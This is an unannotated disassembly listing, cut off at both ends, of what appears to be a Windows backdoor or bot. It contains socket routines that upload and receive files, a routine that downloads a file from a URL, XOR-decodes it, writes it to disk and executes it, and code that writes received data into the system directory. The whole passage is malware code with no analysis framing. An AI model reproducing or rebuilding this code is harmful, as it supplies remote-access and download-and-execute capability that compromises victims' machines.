dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_41C190 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push [ebp+var_14] xor esi, esi inc esi mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_416187 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_4162A0 lea eax, [ebp+var_11B4] push offset unk_43A288 push eax call sub_41BEF6 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_416283 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409743 add esp, 14h loc_416283: ; CODE XREF: sub_41620D+59j lea eax, [ebp+var_11B4] push eax call sub_415F45 push [ebp+var_10] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread loc_4162A0: ; CODE XREF: sub_41620D+3Fj push offset byte_4404C4 push ebx call sub_41A2D6 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41630B lea eax, [ebp+var_11B4] push offset unk_43A258 push eax call sub_41BEF6 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_4162E7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409743 add esp, 14h loc_4162E7: ; CODE XREF: sub_41620D+BDj lea eax, [ebp+var_11B4] push eax call sub_415F45 pop ecx push ebx call dword_4CE3A0 ; closesocket push [ebp+var_10] call sub_40B56A pop ecx push esi call dword_4280D4 ; ExitThread loc_41630B: ; CODE XREF: sub_41620D+A3j push 64h call dword_428080 ; Sleep xor edi, edi mov esi, 1000h loc_41631A: ; CODE XREF: sub_41620D+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_4CE320 ; recv test eax, eax jle short loc_416377 lea eax, [ebp+var_11B4] push offset asc_42BDD8 ; "\n" push eax call sub_41C530 lea eax, [ebp+var_11B4] push eax call sub_41A0C2 add esp, 0Ch test eax, eax jz short loc_416377 push 64h call dword_428080 ; Sleep push 0Ah call sub_40B496 test eax, eax pop ecx jnz short loc_41631A loc_416377: ; CODE XREF: sub_41620D+130j ; sub_41620D+154j lea eax, [ebp+var_11B4] push offset unk_43A224 push eax call sub_41BEF6 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_4163AA push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409743 add esp, 14h loc_4163AA: ; CODE XREF: sub_41620D+180j lea eax, [ebp+var_11B4] push eax call sub_415F45 pop ecx push ebx call dword_4CE3A0 ; closesocket push [ebp+var_10] call sub_40B56A pop ecx push edi call dword_4280D4 ; ExitThread sub_41620D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4163CE proc near ; DATA XREF: sub_401AA1+75FCo var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd xor ebx, ebx xor esi, esi inc ebx push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_10], esi mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_4CE388 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_41641C push offset unk_43A388 jmp loc_4165D5 ; --------------------------------------------------------------------------- loc_41641C: ; CODE XREF: sub_4163CE+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_4CE308 ; ntohs mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_4CE334 ; bind test eax, eax jz short loc_41645A push offset unk_43A364 jmp loc_4165D5 ; --------------------------------------------------------------------------- loc_41645A: ; CODE XREF: sub_4163CE+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_4CE2AC ; getsockname push [ebp+var_2E] call dword_4CE238 ; ntohs mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_41B650 pop ecx loc_41648C: ; CODE XREF: sub_4163CE+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_41649F push 5Fh pop eax jmp short loc_4164A2 ; --------------------------------------------------------------------------- loc_41649F: ; CODE XREF: sub_4163CE+CAj movsx eax, al loc_4164A2: ; CODE XREF: sub_4163CE+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_41B650 cmp [ebp+arg_0], eax pop ecx jbe short loc_41648C push ebx push edi call dword_4CE330 ; listen test eax, eax jz short loc_4164D5 push offset unk_43A288 jmp loc_4165D5 ; --------------------------------------------------------------------------- loc_4164D5: ; CODE XREF: sub_4163CE+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call dword_4280F8 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4164FF push offset unk_43A344 jmp loc_4165D5 ; --------------------------------------------------------------------------- loc_4164FF: ; CODE XREF: sub_4163CE+125j push esi push eax call dword_428118 ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40A8D5 pop ecx push eax call dword_4CE348 ; inet_addr push eax call dword_4CE304 ; ntohl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_43A32C push eax call sub_41BEF6 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409743 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_4CE2F0 ; select test eax, eax jg short loc_4165AF push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_43A314 push eax push [ebp+var_1FC] call sub_409743 jmp loc_4166D3 ; --------------------------------------------------------------------------- loc_4165AF: ; CODE XREF: sub_4163CE+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_4CE39C ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_4165E8 push offset unk_43A2F0 loc_4165D5: ; CODE XREF: sub_4163CE+49j ; sub_4163CE+87j ... lea eax, [ebp+var_3FC] push eax call sub_41BEF6 pop ecx pop ecx jmp loc_4166D6 ; --------------------------------------------------------------------------- loc_4165E8: ; CODE XREF: sub_4163CE+200j push edi call dword_4CE3A0 ; closesocket cmp [ebp+arg_0], esi jz loc_41669A mov edi, 400h loc_4165FD: ; CODE XREF: sub_4163CE+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_41660A mov [ebp+var_4], eax loc_41660A: ; CODE XREF: sub_4163CE+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_41BC00 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call dword_42812C ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call dword_4280EC ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_4CE358 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_4CE320 ; recv cmp eax, ebx jl loc_41672F mov eax, [ebp+var_4] cmp eax, ebx jl loc_41672F sub [ebp+arg_0], eax jnz loc_4165FD mov edi, [ebp+var_18] loc_41669A: ; CODE XREF: sub_4163CE+224j push [ebp+var_8] call dword_428070 ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_416EC1 pop ecx pop ecx push eax push [ebp+var_44] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset unk_43A2C4 push eax call sub_41BEF6 loc_4166D3: ; CODE XREF: sub_4163CE+1DCj add esp, 14h loc_4166D6: ; CODE XREF: sub_4163CE+215j cmp [ebp+var_50], esi jnz short loc_4166FB push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409743 add esp, 14h loc_4166FB: ; CODE XREF: sub_4163CE+30Bj lea eax, [ebp+var_3FC] push eax call sub_415F45 cmp edi, esi pop ecx jbe short loc_416713 push edi call dword_4CE3A0 ; closesocket loc_416713: ; CODE XREF: sub_4163CE+33Cj push [ebp+var_1F8] call dword_4CE3A0 ; closesocket push [ebp+var_58] call sub_40B56A pop ecx push esi call dword_4280D4 ; ExitThread loc_41672F: ; CODE XREF: sub_4163CE+2AFj ; sub_4163CE+2BAj push esi mov esi, offset dword_43A2AC push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_409743 push esi call sub_415F45 add esp, 18h push [ebp+var_1F8] call dword_4CE3A0 ; closesocket push [ebp+var_58] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread sub_4163CE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416770 proc near ; DATA XREF: sub_401AA1+76Do var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_41C190 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd xor esi, esi xor ebx, ebx inc esi push 104h mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push eax mov [ebp+var_8], ebx call dword_42807C ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset dword_42B478 push eax call sub_41BEF6 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call dword_4280F8 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_4167FA push offset unk_43A428 jmp short loc_416840 ; --------------------------------------------------------------------------- loc_4167FA: ; CODE XREF: sub_416770+81j push eax call dword_428070 ; CloseHandle lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_41BB32 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_416822 push offset unk_43A3F8 jmp short loc_416840 ; --------------------------------------------------------------------------- loc_416822: ; CODE XREF: sub_416770+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_416187 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_416853 push offset unk_43A3D8 loc_416840: ; CODE XREF: sub_416770+88j ; sub_416770+B0j lea eax, [ebp+var_4C4] push eax call sub_41BEF6 pop ecx pop ecx jmp loc_41694D ; --------------------------------------------------------------------------- loc_416853: ; CODE XREF: sub_416770+C9j mov esi, 1000h loc_416858: ; CODE XREF: sub_416770+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_4CE320 ; recv mov edi, eax cmp edi, ebx jz loc_41691F cmp edi, 0FFFFFFFFh jz short loc_4168C0 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_41D954 add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_4CE304 ; ntohl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_4CE358 ; send jmp short loc_416858 ; --------------------------------------------------------------------------- loc_4168C0: ; CODE XREF: sub_416770+118j lea eax, [ebp+var_4C4] push offset dword_43A2AC push eax call sub_41BEF6 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_409743 lea eax, [ebp+var_4C4] push eax call sub_415F45 push [ebp+var_4] call sub_41B6CB add esp, 24h push [ebp+arg_0] call dword_4CE3A0 ; closesocket push [ebp+var_1C] call sub_40B56A pop ecx push 1 call dword_4280D4 ; ExitThread loc_41691F: ; CODE XREF: sub_416770+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_416EC1 push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_4C4] push offset unk_43A3AC push eax call sub_41BEF6 add esp, 1Ch loc_41694D: ; CODE XREF: sub_416770+DEj cmp [ebp+var_14], ebx jnz short loc_416972 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_409743 add esp, 14h loc_416972: ; CODE XREF: sub_416770+1E0j lea eax, [ebp+var_4C4] push eax call sub_415F45 cmp [ebp+var_4], ebx pop ecx jz short loc_41698D push [ebp+var_4] call sub_41B6CB pop ecx loc_41698D: ; CODE XREF: sub_416770+212j cmp [ebp+arg_0], ebx jbe short loc_41699B push [ebp+arg_0] call dword_4CE3A0 ; closesocket loc_41699B: ; CODE XREF: sub_416770+220j push [ebp+var_1C] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread sub_416770 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169AB proc near ; DATA XREF: sub_401AA1+615Co ; sub_401AA1+6985o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] rep movsd xor edi, edi xor esi, esi inc edi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_4CE2B8 call dword_4CE20C ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_416E24 push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_4280F8 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_416A72 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_43A780 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_416A55 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409743 add esp, 14h loc_416A55: ; CODE XREF: sub_4169AB+88j lea eax, [ebp+var_510] push eax call sub_415F45 push [ebp+var_48] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread loc_416A72: ; CODE XREF: sub_4169AB+68j xor edi, edi call dword_4280B0 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_41BB45 pop ecx mov [ebp+var_1C], eax loc_416A8C: ; CODE XREF: sub_4169AB+1A9j push 200h lea eax, [ebp+var_510] push esi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_4CE214 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_416AD0 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_416E8A pop ecx pop ecx loc_416AD0: ; CODE XREF: sub_4169AB+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_4280F0 ; WriteFile cmp edi, ebx jnb short loc_416B0E mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_416AF8 mov eax, [ebp+arg_0] loc_416AF8: ; CODE XREF: sub_4169AB+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call near ptr sub_41C9B0 add esp, 0Ch loc_416B0E: ; CODE XREF: sub_4169AB+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_416B1B cmp edi, [ebp+var_3C] ja short loc_416B5A loc_416B1B: ; CODE XREF: sub_4169AB+169j mov eax, edi shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_441048 cmp [ebp+var_44], 1 jz short loc_416B43 push offset dword_43A730 jmp short loc_416B48 ; --------------------------------------------------------------------------- loc_416B43: ; CODE XREF: sub_4169AB+18Fj push offset dword_43A6E0 loc_416B48: ; CODE XREF: sub_4169AB+196j push eax call sub_41BEF6 add esp, 10h cmp [ebp+arg_0], esi ja loc_416A8C loc_416B5A: ; CODE XREF: sub_4169AB+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_416BAF cmp edi, [ebp+var_3C] jz short loc_416BAF push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset dword_43A690 push eax call sub_41BEF6 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409743 lea eax, [ebp+var_510] push eax call sub_415F45 add esp, 28h loc_416BAF: ; CODE XREF: sub_4169AB+1B9j ; sub_4169AB+1BEj call dword_4280B0 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_428070 ; CloseHandle push [ebp+var_1C] call sub_41B721 cmp [ebp+var_38], esi pop ecx jz short loc_416C39 lea eax, [ebp+var_148] push eax call sub_4010AA cmp eax, [ebp+var_38] pop ecx jz short loc_416C39 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset dword_43A640 push eax call sub_41BEF6 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409743 lea eax, [ebp+var_510] push eax call sub_415F45 add esp, 28h loc_416C39: ; CODE XREF: sub_4169AB+236j ; sub_4169AB+248j cmp [ebp+var_14], esi jz loc_416E71 cmp [ebp+var_44], 1 push ecx lea eax, [ebp+var_148] push ecx jz loc_416D34 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_428698 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_428698 fstp [esp+590h+var_590] push offset dword_43A5D8 push eax call sub_41BEF6 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_416CB4 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409743 add esp, 14h loc_416CB4: ; CODE XREF: sub_4169AB+2E7j lea eax, [ebp+var_510] push eax call sub_415F45 cmp [ebp+var_40], 1 pop ecx jnz loc_416E71 push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_4CE274 ; ShellExecuteA cmp [ebp+var_30], esi jnz loc_416E71 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_43A598 push eax call sub_41BEF6 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409743 lea eax, [ebp+var_510] push eax call sub_415F45 add esp, 24h jmp loc_416E71 ; --------------------------------------------------------------------------- loc_416D34: ; CODE XREF: sub_4169AB+2A3j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_428698 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_428698 fstp [esp+590h+var_590] push offset dword_43A518 push eax call sub_41BEF6 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_416D94 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409743 add esp, 14h loc_416D94: ; CODE XREF: sub_4169AB+3C7j lea eax, [ebp+var_510] push eax call sub_415F45 push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BC00 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_41BC00 add esp, 1Ch lea eax, [ebp+var_10] mov [ebp+var_310], edi xor edi, edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi inc edi push eax push esi mov [ebp+var_304], offset byte_4404C4 mov [ebp+var_2E4], edi mov [ebp+var_2E0], si call dword_428074 ; CreateProcessA cmp eax, edi jnz short loc_416E16 call dword_4CE260 ; WSACleanup call sub_4189E4 push esi call dword_42806C ; ExitProcess loc_416E16: ; CODE XREF: sub_4169AB+457j lea eax, [ebp+var_148] push eax push offset dword_43A4B0 jmp short loc_416E30 ; --------------------------------------------------------------------------- loc_416E24: ; CODE XREF: sub_4169AB+45j lea eax, [ebp+var_248] push eax push offset dword_43A458 loc_416E30: ; CODE XREF: sub_4169AB+477j lea eax, [ebp+var_510] push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_416E64 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409743 add esp, 14h loc_416E64: ; CODE XREF: sub_4169AB+497j lea eax, [ebp+var_510] push eax call sub_415F45 pop ecx loc_416E71: ; CODE XREF: sub_4169AB+291j ; sub_4169AB+31Aj ... push [ebp+var_18] call dword_4CE33C ; InternetCloseHandle push [ebp+var_48] call sub_40B56A pop ecx push esi call dword_4280D4 ; ExitThread sub_4169AB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416E8A proc near ; CODE XREF: sub_4169AB+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416EA6 loc_416E96: ; CODE XREF: sub_416E8A+1Aj mov dl, byte_42A980 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416E96 locret_416EA6: ; CODE XREF: sub_416E8A+Aj retn sub_416E8A endp ; =============== S U B R O U T I N E ======================================= sub_416EA7 proc near ; CODE XREF: sub_401AA1+573Fp ; sub_401AA1+587Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DA5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416EA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EC1 proc near ; CODE XREF: sub_41061F+462p ; sub_41061F+5FEp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D5EF8 push 0 push edi call sub_41BC00 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416EE6: ; CODE XREF: sub_416EC1+5Bj ; sub_416EC1+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DB20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DAB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416F24 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416EE6 mov byte ptr [esi], 2Ch inc esi jmp short loc_416EE6 ; --------------------------------------------------------------------------- loc_416F24: ; CODE XREF: sub_416EC1+4Bj mov eax, edi jmp short loc_416F2D ; --------------------------------------------------------------------------- loc_416F28: ; CODE XREF: sub_416EC1+72j mov cl, [esi] mov [eax], cl inc eax loc_416F2D: ; CODE XREF: sub_416EC1+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_416F28 and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416EC1 endp ; =============== S U B R O U T I N E ======================================= sub_416F3F proc near ; CODE XREF: sub_4170EB+51p ; sub_4170EB+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CE368 ; GetDriveTypeA sub eax, 0 jz short loc_416F82 dec eax jz short loc_416F7C dec eax dec eax jz short loc_416F76 dec eax jz short loc_416F70 dec eax jz short loc_416F6A dec eax jz short loc_416F64 mov eax, offset word_43A7FC retn ; --------------------------------------------------------------------------- loc_416F64: ; CODE XREF: sub_416F3F+1Dj mov eax, offset off_43A7F8 retn ; --------------------------------------------------------------------------- loc_416F6A: ; CODE XREF: sub_416F3F+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416F70: ; CODE XREF: sub_416F3F+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416F76: ; CODE XREF: sub_416F3F+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416F7C: ; CODE XREF: sub_416F3F+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416F82: ; CODE XREF: sub_416F3F+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416F3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F88 proc near ; CODE XREF: sub_416FD0+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CE1F8 test eax, eax jz short loc_416FBD lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_416FBD: ; CODE XREF: sub_416F88+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416F88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FD0 proc near ; CODE XREF: sub_4170EB+17p ; sub_41B0A1+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416F88 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_4170A8 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_4170A8 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_4170A8 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DBA0 push edx push eax call sub_416EC1 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_41BFF0 add esp, 18h push 0 push ebx push [ebp+var_C] push 